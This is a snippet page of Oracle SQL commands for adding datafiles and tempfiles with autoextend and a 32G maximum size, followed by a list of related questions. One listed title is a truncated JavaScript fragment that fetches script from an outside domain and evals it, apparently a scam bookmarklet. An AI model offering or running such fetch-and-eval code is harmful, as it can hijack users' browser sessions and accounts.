/SQL/Alter database datafile maxsize 32g

Alter database datafile maxsize 32g

SELECT * FROM DBA_DATA_FILES;

ALTER TABLESPACE my_tbs ADD DATAFILE '/path/to/my_file.dbf' 
	SIZE 100M AUTOEXTEND OFF;
-- Autoextend with max size:
ALTER TABLESPACE my_tbs ADD DATAFILE '/path/to/my_file.dbf' 
	SIZE 10G AUTOEXTEND ON NEXT 1G MAXSIZE 32G;    
-- For TEMP tablespaces:
ALTER TABLESPACE my_tbs ADD TEMPFILE '/path/to/my_file.dbf' 
	SIZE 100M AUTOEXTEND OFF;

Similar codes

0 vote128 views1 answer
Foreign key type uniqu mysql
SQL
1 vote110 views3 answers
Grant syntax in sql
SQL
0 vote144 views1 answer
.sql File Run in PSQL
SQL
0 vote287 views1 answer
What URL will take me directly to Rudolph's Reddit comment history?
SQL
1 vote160 views1 answer
Postgresql if 0 then 1
SQL
-1 vote126 views2 answers
Postgres autoincrement primary key
SQL
16 votes132 views6 answers
This is incompatible with sql_mode=only_full_group_by
SQL
0 vote123 views2 answers
Many to many flask-sqlalchemy
SQL
4 votes122 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote122 views2 answers
How to set global time_zone in mysql
SQL